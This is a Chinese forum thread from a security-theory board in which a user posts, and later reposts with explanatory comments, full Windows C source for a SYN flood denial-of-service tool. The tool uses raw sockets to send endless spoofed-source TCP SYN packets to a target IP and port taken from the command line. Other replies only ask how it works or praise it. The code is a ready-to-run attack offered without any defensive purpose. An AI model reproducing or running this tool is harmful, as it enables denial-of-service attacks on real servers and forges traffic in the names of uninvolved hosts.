新书推介:《语义网技术体系》
作者:瞿裕忠,胡伟,程龚
   >>中国XML论坛<<     W3CHINA.ORG讨论区     计算机科学论坛     SOAChina论坛     Blog     开放翻译计划     新浪微博  
 
  • 首页
  • 登录
  • 注册
  • 软件下载
  • 资料下载
  • 核心成员
  • 帮助
  •   Add to Google

    >> 讨论密码学、密码协议、入侵检测、访问控制等与安全理论研究有关的主题
    [返回] 中文XML论坛 - 专业的XML技术讨论区计算机理论与工程『 安全理论 』 → syn拒绝服务攻击代码 查看新帖用户列表

      发表一个新主题  发表一个新投票  回复主题  (订阅本版) 您是本帖的第 7342 个阅读者浏览上一篇主题  刷新本主题   树形显示贴子 浏览下一篇主题
     * 贴子主题: syn拒绝服务攻击代码 举报  打印  推荐  IE收藏夹 
       本主题类别:     
     huqige 帅哥哟,离线,有人找我吗?
      
      
      等级:大一新生
      文章:1
      积分:57
      门派:XML.ORG.CN
      注册:2007/10/26

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给huqige发送一个短消息 把huqige加入好友 查看huqige的个人资料 搜索huqige在『 安全理论 』的所有贴子 引用回复这个贴子 回复这个贴子 查看huqige的博客楼主
    发贴心情 syn拒绝服务攻击代码

    #include <winsock2.h>
    #include <Ws2tcpip.h>
    #include <windows.h>
    #include <stdio.h>

    #pragma comment(lib,"ws2_32")
    #pragma comment(lib,"wsock32")
    #define FAKE_IP "201.79.131.18"
    #define SEQ 0x28376839
    #define right "===============Coder Paris-ye====================\n"
    USHORT checksum(USHORT *buffer, int size);
    int flood();

    typedef struct tcphdr
    {
     USHORT th_sport;
     USHORT th_dport;
     unsigned int th_seq;
     unsigned int th_ack;
     unsigned char th_lenres;
     unsigned char th_flag;
     USHORT th_win;
     USHORT th_sum;
     USHORT th_urp;
    }TCP_HEADER;

    typedef struct iphdr
    {
     unsigned char h_verlen;
     unsigned char tos;
     unsigned short total_len;
     unsigned short ident;
     unsigned short frag_and_flags;
     unsigned char  ttl;
     unsigned char proto;
     unsigned short checksum;
     unsigned int sourceIP;
     unsigned int destIP;
    }IP_HEADER;

    struct
    {
     unsigned long saddr;
     unsigned long daddr;
     char mbz;
     char ptcl;
     unsigned short tcpl;
    }PSD_HEADER;

    WSADATA wsaData;
    SOCKET  sockMain = (SOCKET) NULL;
    int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
    unsigned short activPort=40000;
    struct sockaddr_in sockAddr;
    TCP_HEADER  tcpheader;
    IP_HEADER   ipheader;
    char        sendBuf[128];

    USHORT checksum(USHORT *buffer, int size)
    {
     unsigned long cksum=0;
     while(size >1) {
      cksum+=*buffer++;
      size-=sizeof(USHORT);
     }
     if(size) cksum+=*(UCHAR*)buffer;
     cksum=(cksum >> 16)+(cksum&0xffff);
     cksum+=(cksum >>16);
     return (USHORT)(~cksum);
    }


    int main(int argc,char* argv[])
    {
     int    portNum=0;
     DWORD  dw;
     HANDLE hThread=NULL;
     char   putInfo;

     if(argc!=3)
     {
      printf("%s\n",right);
      printf("Invalid command,Pls use:\n%s  <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]);
      return 1;
     }
     if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
             printf("WSAStartup failed: %d\n",ErrorCode);
             return 2;
     }
     sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
     if(sockMain==INVALID_SOCKET)
     {
      printf("Socket failed: %d\n",WSAGetLastError());
     return 3;
     }
     ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
     if(ErrorCode==SOCKET_ERROR)
     {
             printf("Set sockopt failed: %d\n",WSAGetLastError());
      return 4;
     }
     ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
     if(ErrorCode==SOCKET_ERROR)
     {
             printf("Set sockopt time out failed: %d\n",WSAGetLastError());
     return 5;
     }
     portNum=atoi(argv[2]);

     memset(&sockAddr,0,sizeof(sockAddr));
     sockAddr.sin_family=AF_INET;
     sockAddr.sin_addr.s_addr =inet_addr(argv[1]);
     FakeIpNet=inet_addr(FAKE_IP);
     FakeIpHost=ntohl(FakeIpNet);

     ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
     ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
     ipheader.ident = 1;
     ipheader.frag_and_flags = 0;
     ipheader.ttl = 128;
     ipheader.proto = IPPROTO_TCP;
     ipheader.checksum =0;
     ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
     ipheader.destIP = inet_addr(argv[1]);

     tcpheader.th_dport=htons(portNum);
     tcpheader.th_sport = htons(portNum);
     tcpheader.th_seq = htonl(SEQ+SendSEQ);
     tcpheader.th_ack = 0;
     tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
     tcpheader.th_flag = 2;
     tcpheader.th_win = htons(16384);
     tcpheader.th_urp = 0;
     tcpheader.th_sum = 0;

     PSD_HEADER.saddr=ipheader.sourceIP;
     PSD_HEADER.daddr=ipheader.destIP;
     PSD_HEADER.mbz=0;
     PSD_HEADER.ptcl=IPPROTO_TCP;
     PSD_HEADER.tcpl=htons(sizeof(tcpheader));
     printf("%s\n",right);
     hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw);
     SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);
     ResumeThread(hThread);
     printf("Warning[start]...........\nPress any key to stop!\n");
     putInfo=getchar();
     TerminateThread(hThread,0);
     WSACleanup();
     printf("\nStopd...........\n");

     return 0;
    }

    int flood()
    {
     while(1)
     {
      if(SendSEQ++==65536) SendSEQ=1;
      if(activPort++==40010) activPort=1000;
      ipheader.checksum =0;
      ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
      tcpheader.th_seq = htonl(SEQ+SendSEQ);
      tcpheader.th_sport = htons(activPort);
      tcpheader.th_sum = 0;
      PSD_HEADER.saddr=ipheader.sourceIP;
      memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
      memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
      tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));

      memcpy(sendBuf,&ipheader,sizeof(ipheader));
      memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
      memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
      dataSize=sizeof(ipheader)+sizeof(tcpheader);
      ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
      memcpy(sendBuf,&ipheader,sizeof(ipheader));
      ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
      if(ErrorCode==SOCKET_ERROR)
      {
       printf("\nCan't connect this IP!Pls check it.\n");
       ExitThread(1);
      }
      // Sleep(1000);
     }
     return 0;
    }


       收藏   分享  
    顶(0)
      




    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/10/26 21:11:00
     
     changeone 帅哥哟,离线,有人找我吗?
      
      
      等级:大一新生
      文章:1
      积分:59
      门派:XML.ORG.CN
      注册:2007/11/6

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给changeone发送一个短消息 把changeone加入好友 查看changeone的个人资料 搜索changeone在『 安全理论 』的所有贴子 引用回复这个贴子 回复这个贴子 查看changeone的博客2
    发贴心情 
    能把这段代码的原理解释一下吗?看不太懂
    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/8 17:58:00
     
     huyin 帅哥哟,离线,有人找我吗?
      
      
      等级:大一(猛啃高等数学)
      文章:9
      积分:109
      门派:XML.ORG.CN
      注册:2008/3/10

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给huyin发送一个短消息 把huyin加入好友 查看huyin的个人资料 搜索huyin在『 安全理论 』的所有贴子 引用回复这个贴子 回复这个贴子 查看huyin的博客3
    发贴心情 
    里面的那个IP是指什么??
    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2008/3/10 21:13:00
     
     秋十三 帅哥哟,离线,有人找我吗?
      
      
      等级:大三(要不要学学XML呢?)
      文章:124
      积分:593
      门派:XML.ORG.CN
      注册:2008/11/12

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给秋十三发送一个短消息 把秋十三加入好友 查看秋十三的个人资料 搜索秋十三在『 安全理论 』的所有贴子 引用回复这个贴子 回复这个贴子 查看秋十三的博客4
    发贴心情 
    好很棒啊
    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2009/1/4 18:32:00
     
     huqige 帅哥哟,离线,有人找我吗?
      
      
      等级:大一新生
      文章:1
      积分:57
      门派:XML.ORG.CN
      注册:2007/10/26

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给huqige发送一个短消息 把huqige加入好友 查看huqige的个人资料 搜索huqige在『 安全理论 』的所有贴子 引用回复这个贴子 回复这个贴子 查看huqige的博客5
    发贴心情 
    #include <winsock2.h>
    #include <Ws2tcpip.h>
    #include <windows.h>
    #include <stdio.h>
    //加载头文件就和导入包类一样
    #pragma comment(lib,"ws2_32")
    #pragma comment(lib,"wsock32")
    #define FAKE_IP "201.79.131.18"
    //ip地址随便
    #define SEQ 0x28376839
    #define right "===============Coder Paris-ye====================\n"
    //预定义
    USHORT checksum(USHORT *buffer, int size);
    int flood();
    typedef struct tcphdr
    {
    USHORT th_sport;
    USHORT th_dport;
    unsigned int th_seq;
    unsigned int th_ack;
    unsigned char th_lenres;
    unsigned char th_flag;
    USHORT th_win;
    USHORT th_sum;
    USHORT th_urp;
    }TCP_HEADER;
    //定义结构用于存放tcp头部
    typedef struct iphdr
    {
    unsigned char h_verlen;
    unsigned char tos;
    unsigned short total_len;
    unsigned short ident;
    unsigned short frag_and_flags;
    unsigned char  ttl;
    unsigned char proto;
    unsigned short checksum;
    unsigned int sourceIP;
    unsigned int destIP;
    }IP_HEADER;
    struct
    {
    unsigned long saddr;
    unsigned long daddr;
    char mbz;
    char ptcl;
    unsigned short tcpl;
    }PSD_HEADER;
    WSADATA wsaData;
    SOCKET  sockMain = (SOCKET) NULL;
    int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
    unsigned short activPort=40000;
    struct sockaddr_in sockAddr;
    TCP_HEADER  tcpheader;
    IP_HEADER   ipheader; //和mew类一样
    char        sendBuf[128];
    USHORT checksum(USHORT *buffer, int size)
    {
    unsigned long cksum=0;
    while(size >1) {
      cksum+=*buffer++;
      size-=sizeof(USHORT);
    } //校验
    if(size) cksum+=*(UCHAR*)buffer;
    cksum=(cksum >> 16)+(cksum&0xffff);
    cksum+=(cksum >>16);
    return (USHORT)(~cksum);
    }

    int main(int argc,char* argv[])
    {
    int    portNum=0;
    DWORD  dw;
    HANDLE hThread=NULL;
    char   putInfo;
    if(argc!=3)
    {
      printf("%s\n",right);
      printf("Invalid command,Pls use:\n%s  <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]);
      return 1;
    }
    if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
             printf("WSAStartup failed: %d\n",ErrorCode);
             return 2;
    }
    sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
    //建立raw  socket连接
    if(sockMain==INVALID_SOCKET)
    {
      printf("Socket failed: %d\n",WSAGetLastError());
    return 3;
    }
    ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
    if(ErrorCode==SOCKET_ERROR)
    {
             printf("Set sockopt failed: %d\n",WSAGetLastError());
      return 4;
    }
    ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
    if(ErrorCode==SOCKET_ERROR)
    {
             printf("Set sockopt time out failed: %d\n",WSAGetLastError());
    return 5;
    }
    portNum=atoi(argv[2]);
    memset(&sockAddr,0,sizeof(sockAddr));
    sockAddr.sin_family=AF_INET; //协议簇  windows专用的AF_INET
    sockAddr.sin_addr.s_addr =inet_addr(argv[1]);
    FakeIpNet=inet_addr(FAKE_IP);
    FakeIpHost=ntohl(FakeIpNet);
    ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
    ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
    ipheader.ident = 1;
    ipheader.frag_and_flags = 0; //标志位
    ipheader.ttl = 128; //存活时间
    ipheader.proto = IPPROTO_TCP; //tcp
    ipheader.checksum =0;
    ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); //源地址
    ipheader.destIP = inet_addr(argv[1]);
    tcpheader.th_dport=htons(portNum);
    tcpheader.th_sport = htons(portNum);
    tcpheader.th_seq = htonl(SEQ+SendSEQ);
    tcpheader.th_ack = 0; //ack位  tcp3次握手
    tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
    tcpheader.th_flag = 2;
    tcpheader.th_win = htons(16384);
    tcpheader.th_urp = 0;
    tcpheader.th_sum = 0;
    PSD_HEADER.saddr=ipheader.sourceIP;
    PSD_HEADER.daddr=ipheader.destIP;
    PSD_HEADER.mbz=0;
    PSD_HEADER.ptcl=IPPROTO_TCP;
    PSD_HEADER.tcpl=htons(sizeof(tcpheader));
    printf("%s\n",right);
    hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw);
    SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);
    ResumeThread(hThread);
    printf("Warning[start]...........\nPress any key to stop!\n");
    putInfo=getchar();
    TerminateThread(hThread,0);
    WSACleanup();
    printf("\nStopd...........\n");
    return 0;
    }

    int flood()
    {
    while(1)
    {
      if(SendSEQ++==65536) SendSEQ=1;
      if(activPort++==40010) activPort=1000;
      ipheader.checksum =0;
      ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
      tcpheader.th_seq = htonl(SEQ+SendSEQ);
      tcpheader.th_sport = htons(activPort);
      tcpheader.th_sum = 0;
      PSD_HEADER.saddr=ipheader.sourceIP;
      memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
      memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
      tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
      memcpy(sendBuf,&ipheader,sizeof(ipheader));
      memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
      memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
      dataSize=sizeof(ipheader)+sizeof(tcpheader);
      ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
      memcpy(sendBuf,&ipheader,sizeof(ipheader));
      ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
      if(ErrorCode==SOCKET_ERROR)
      {
       printf("无法连接次地址。请检查并更正\n");
       ExitThread(1);
      }

    }
    return 0;
    }
    加了点注释,还有什么 不清楚的 就说

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2009/1/5 17:11:00
     
     GoogleAdSense
      
      
      等级:大一新生
      文章:1
      积分:50
      门派:无门无派
      院校:未填写
      注册:2007-01-01
    给Google AdSense发送一个短消息 把Google AdSense加入好友 查看Google AdSense的个人资料 搜索Google AdSense在『 安全理论 』的所有贴子 访问Google AdSense的主页 引用回复这个贴子 回复这个贴子 查看Google AdSense的博客广告
    2024/11/23 1:29:54

    本主题贴数5,分页: [1]

    管理选项修改tag | 锁定 | 解锁 | 提升 | 删除 | 移动 | 固顶 | 总固顶 | 奖励 | 惩罚 | 发布公告
    W3C Contributing Supporter! W 3 C h i n a ( since 2003 ) 旗 下 站 点
    苏ICP备05006046号《全国人大常委会关于维护互联网安全的决定》《计算机信息网络国际联网安全保护管理办法》
    100.098ms